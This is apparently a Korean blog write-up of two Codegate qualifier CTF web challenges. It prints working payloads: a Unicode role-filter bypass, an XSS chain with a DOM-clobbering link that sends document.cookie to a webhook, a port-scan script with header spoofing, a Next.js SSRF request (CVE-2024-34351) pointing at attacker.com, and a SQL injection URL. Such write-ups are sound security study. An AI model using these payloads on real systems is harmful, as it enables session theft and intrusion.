지난 주말에 codegate 예선에 참여했습니다
본선은 못갔지만, 문제들이 하나하나 너무 잘 만들어서 힘들면서도 즐겁게 풀었던 거 같습니다
팀원들이랑 다 함께 풀었는데, 이렇게 떠들면서 같이 푸는 경험도 너무 재밋엇습니다
두 개 풀고 하나 더 풀다가 체력과 시간이딸려 못 푼게 너무 아쉽지만... 다음에는 전부 풀 수 있길...!
Masqurade
개요
권한이 두 개가 있습니다. hasPerm (boolean), Role (지정된 값)
둘 다 로그인 시 jwt cookie에 내용이 박히며 이를 기반으로 검증합니다
bot은 존재하지 않는 계정으로 바로 jwt를 생성하여 url에 접근하며, jwt에 박힌 uuid가 flag입니다
즉 bot의 cookie탈취를 위해 XSS가 발생해야 하며, 이를 위해 글을 써야 합니다
글의 내용을 보는 view.ejs에 XSS가 발생할 수 있는 tag가 있습니다. 글의 내용에 삽입하면 됩니다
<div class="post-content">
<%- post.content %>
</div>
권한 상승 (Unicode Case Mapping Collisions)
그 전에, 글을 쓰기 위해서는 hasPerm을 true로 만들어야 합니다
hasPerm을 true로 바꿀 수 있는 기능은 admin에게 있으므로, Role을 ADMIN으로 바꿔야합니다
아래는 일반 유저도 사용 가능한 setRole 함수입니다
const setRole = (uuid, input) => {
const user = getUser(uuid);
if (checkRole(input)) return false; // -> const regex = /^(ADMIN|INSPECTOR)$/i;
if (!role_list.includes(input.toUpperCase())) return false;
users.set(uuid, { ...user, role: input.toUpperCase() });
const updated = getUser(uuid);
const payload = { uuid, ...updated }
console.log(payload);
delete payload.password;
const token = generateToken(payload);
return token;
};
checkRole 부분은 const regex = /^(ADMIN|INSPECTOR)$/i; 을 수행하기 때문에 admin을 넣을 수 없습니다
하지만 바로 아래에 toUpperCase 에서 Unicode Case Mapping Collisions 이 발생하기 때문에, 필터링을 우회할 수 있습니다
대소문자로 변환 시 가장 유사한 문자로 변환해주는 기능인데, javascript에서 대표적으로 발생합니다
ı (U+0131) 은 Uppercase로 변환 시, I (대문자 i)가 됩니다
ADM%C4%B1N 이렇게 보내게 되면 필터링을 우회할 수 있습니다
이렇게 ADMIN을 획득한 후, hasPerm을 true로 변경하면 글을 작성할 수 있습니다
XSS
게시글을 보는 곳에서 바로 XSS가 발생할 것 같지만, CSP가 존재합니다
admin으로 시작하지 않으면 nonce를 맞춰야합니다...
res.setHeader("X-Frame-Options", "deny");
if (req.path.startsWith('/admin')) {
res.setHeader("Content-Security-Policy", `default-src 'self'; script-src 'self' 'unsafe-inline'`);
} else {
res.setHeader("Content-Security-Policy", `default-src 'self'; script-src 'nonce-${nonce}'`);
}
admin으로 시작하는 부분 중에 XSS 벡터가 있습니다
/admin/test 인데, 바로 렌더링을 하긴 하지만 test.ejs파일 내에 난독화된 javascript 코드가 있습니다
또한 윗부분에서 ../js/purify.min.js 파일을 불러오고 있습니다
<body>
<h1 class="post_title"></h1>
<div class="post_content"></div>
<div class="error_div"></div>
<script src="../js/purify.min.js"></script>
<script>
function _0x5582(_0x409510, _0xadade8) {
const _0xed7c16 = _0xf972();
return _0x5582 = function (_0xe31be7, _0x128541) {
_0xe31be7 = _0xe31be7 - (0x1b6a + 0x26a * -0xf + 0x9d7);
let _0x561cef = _0xed7c16[_0xe31be7];
if (_0x5582['JdbaXF'] === undefined) {
var _0x3ec112 = function (_0xb1fd98) {
const _0x3e0794 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';
let _0x41f72f = '',
_0x58e59d = '';
for (let _0x9bab26 = -0x1 * 0xf93 + -0x1 * 0x1fb4 + 0x2f47, _0xe5342b, _0x135544, _0x93f446 = -0x653 + -0x1130 + 0x1783; _0x135544
...
복호화를 간단히 하면 purify.min.js로 XSS를 막고있으며, 마지막 부분에 이런 부분을 볼 수 있습니다
try {
post_title.innerHTML = DOMPurify.sanitize(title)
post_content.innerHTML = DOMPurify.sanitize(content)
} catch {
post_title.innerHTML = title
post_content.innerHTML = content
}
}
dompurify를 우회하기는 어렵고, 에러를 발생시키는 편이 나을 것 같습니다.
에러가 발생 될만한 구문을 찾아보려고 했지만 그건 잘 안됐고...
https://303sec.com/2024/07/18/intigriti-xss-challenge-july-2024/ 여기서 Dompurify forcing error 관련 내용을 볼 수 있습니다
dompurify 파일을 불러오지 못하게 해서 에러를 발생하는 게 요약입니다
위에서 purify.min.js 파일을 가져올 때 상대경로를 사용하는 것을 볼 수 있습니다
<script src="../js/purify.min.js"></script>
따라서 저 경로로 요청할 때 파일을 찾을 수 없으면 에러가 발생 할 겁니다
현재 경로는 /admin/test 이니까, ../하면 원래는 /js/purify.min.js 파일이 존재할겁니다
이 때 /admin/test/ 이렇게 하게 되면, /admin/js/purify.min.js 이렇게 요청하기 때문에 파일을 불러올 수 없게 됩니다
/admin/test/?title=asdf&content=%3Cimg/src/onerror=alert(1)%3E
이렇게 접근 하면 XSS가 발생하게 됩니다!
Dom clobbering
여기서 끝! 일 거 같지만 bot에게 제보할 때 넘어야 할 산이 하나 더 있습니다
router.get('/:post_id', async (req, res) => {
const post_id = req.params.post_id;
const post = getPostById(post_id); // 글의 존재 여부를 확인함
if (!post) return res.status(404).json({ message: "Post Not Found." });
let message;
let code;
if (req.user.role !== "INSPECTOR") {
message = "No Permission.";
code = 403;
}
else {
const result = await viewUrl(post_id); // await page.goto(`http://localhost:3000/post/${post_id}`
/post/${post_id} 이렇게 진행되는데, 존재하는 post(uuid)인지 확인하기 때문에 ../같은 값을 넣을 수 없습니다
즉 게시글에서 /admin/test 경로로 이동시켜야 합니다.
X-Frame_Options 가 기본으로 deny되어있어서 iframe을 넣을 수 없습니다
여기서 bot의 행동을 보면 힌트를 얻을 수 있습니다
try {
await browser.setCookie(...cookies);
const page = await browser.newPage();
await page.goto(`http://localhost:3000/post/${post_id}`, { timeout: 3000, waitUntil: "domcontentloaded" });
await delay(1000);
const button = await page.$('#delete'); // delete 버튼 클릭
await button.click();
await delay(1000);
}
bot은 게시글을 삭제하는 delete 버튼을 클릭합니다
delete 버튼의 동작은 아래와 같습니다
const deleteButton = document.querySelector("#delete");
deleteButton.addEventListener("click", () => {
location.href = window.conf.deleteUrl;
});
window.conf.deleteUrl 로 이동하기 때문에, 아래와 같은 payload로 exploit 할 수 있습니다
+) 배포파일에는 없는 필터링이 존재하기 때문에 우회해야합니다 a태그가 필터링에 막혀서 >를 닫지 않는 mutation xss햇습니다
<b id="conf"><a id="conf" name="deleteUrl" href="/admin/test/?title=%3Cimg/src/onerror=%22location.href=`//webhook?c=${document.cookie}`%22/%3E"
위의 내용으로 글을 작성하고, bot으로 요청을 보내면, 쿠키가 탈취되는 문제였습니다


Hide and Seek
개요
거의 블랙박스 문제입니다
front 서비스만 코드가 주어지는데, 제가 지정한 URL로 접근만 하는 게 다입니다
결과를 일부 유추할 수 있는데, 존재하지 않는 URL이거나 경로라면, 에러를 반환하기 때문에 존재 여부만 알 수 있습니다.
internel-web port 찾기
동일한 ip로 계속 요청을 보내면 블랙리스트에 들어가는데, X-Forwarded-For 헤더로 이를 우회할 수 있습니다
왜인지 127.0.0.1로 하니까 잘 안걸리더라구요..
internel-web이 존재하며, port는 well-known port입니다 (0-1023)
문제에서 서버를 3개나 제공해줬기 때문에 스크립트를 돌렸습니다
import requests
from time import sleep
url = 'http://43.203.168.235:3000/api/reset-game'
proxies = {'http':'127.0.0.1:8080'}
headers = {'x-forwarded-for' : '127.0.0.1'}
for _ in range(1023):
data = {'url': 'http://192.168.200.120:' + str(_)}
sleep(0.2)
r = requests.post(url = url, json=data, proxies=proxies, headers=headers).json()
if 'message' in r:
print(r)
exit()
이렇게 하니까 808 포트에서 에러가 안났습니다
CVE-2024-34351
NVD - CVE-2024-34351
CVE-2024-34351 Detail Awaiting Analysis This CVE record has been marked for NVD enrichment efforts. Description Next.js is a React framework that can provide building blocks to create web applications. A Server-Side Request Forgery (SSRF) vulnerability was
nvd.nist.gov
nextjs에서 발생하는 SSRF입니다
nextjs에서 action을 사용하고, redirect 함수를 사용할 때 발생할 수 있는 취약점입니다
이 조건을 충족하는 부분이 있습니다. 바로 메인 페이지에 접근하자마자 발생하는 아래 부분입니다
'use server'
import { redirect } from "next/navigation";
export async function redirectGame() {
return redirect("/hide-and-seek");
}
메인 페이지에 접근하고, /hide-and-seek로 redirect되는 패킷을 준비합니다
그리고 Host와 Origin을 공격자 서버 ip로 바꿉니다
그리고 ssrf 헤더를 추가해서 원하는 internal-web server 경로를 넣습니다
POST / HTTP/1.1
Host: attacker.com // 여기
Content-Length: 2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Next-Action: 6e6feac6ad1fb92892925b4e3766928a754aec71
Accept-Language: ko-KR,ko;q=0.9
Accept: text/x-component
Content-Type: text/plain;charset=UTF-8
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Origin: http://attacker.com/ // 여기
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
ssrf: http://192.168.200.120:808/
[]
다음으로 공격자 서버에 nextjs-CVE-2024-34351-_exploit/attacker-server.py at main · God4n/nextjs-CVE-2024-34351-_exploit · GitHub 이 코드를 준비합니다
이제 요청하게 되면 이렇게 내부가 보입니다..

이렇게 하면 로그인 페이지가 보이는데, get으로 요청을 보낼 수 있으며 sql injection이 발생합니다.

password에 Flag가 있다고 합니다
일부 필터링이 있어서 우회해서 아래의 payload로 풀었습니다
http://192.168.200.120:808/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username=guest&password='%20union%20select%20passwoorrd,1%20from%20users%20limit%201,1--+-

여담
푼 문제는 이게 다입니당
이 다음에 back office를 풀다가 admin 계정을 따고 체력이 다 해 쓰러졌습니다 (라라벨이라서 정신이 혼미)
file leak하고 뒤져보니까 주석에 admin password가 그냥 나와있던데 이게 언인텐이라고 하더라구요

.env leak해서 JWT 변조하면 되는거라서 엄청 큰 언인텐은 아닌듯
admin 기능이 template 변경 뿐이라서 이건 twig ssti밖에 없구나 했는데.. 필터링도 있고 1시간 밖에 안남고 정신이 혼미하더라구요
못 푼게 너무 아숩지만..ㅠ 이번 기회에 체력을 기르려고도 노력하려고 합니당
대회 후기는 진짜 만족이었습니다
코게 처음인데 진짜 이렇게 퀄리티가 높은 대회는 저는 처음이었습니다
문제 하나하나가 난이도있고 배운다는 느낌도 너무 커서 진짜 끝나고 아쉬운과 동시에 아쉽지 않은 기이한 느낌...
정말 너무너무 재밋었습니다 안 푼 문제도 분석해볼 예정
'write-up > CTF' 카테고리의 다른 글
| [BlackHat MEA qual CTF 2024] WEB all write-up (0) | 2024.09.03 |
|---|---|
| [CCE 2024 Qual] ccend write-up (0) | 2024.08.12 |
| [TFC CTF 2024] write-up (0) | 2024.08.06 |
| [HTB Cyber Apocalypse 2024] Locktalk write-up (CVE-2022-39227) (5) | 2024.03.17 |
| [justCTF 2023] write-up (0) | 2023.06.06 |
댓글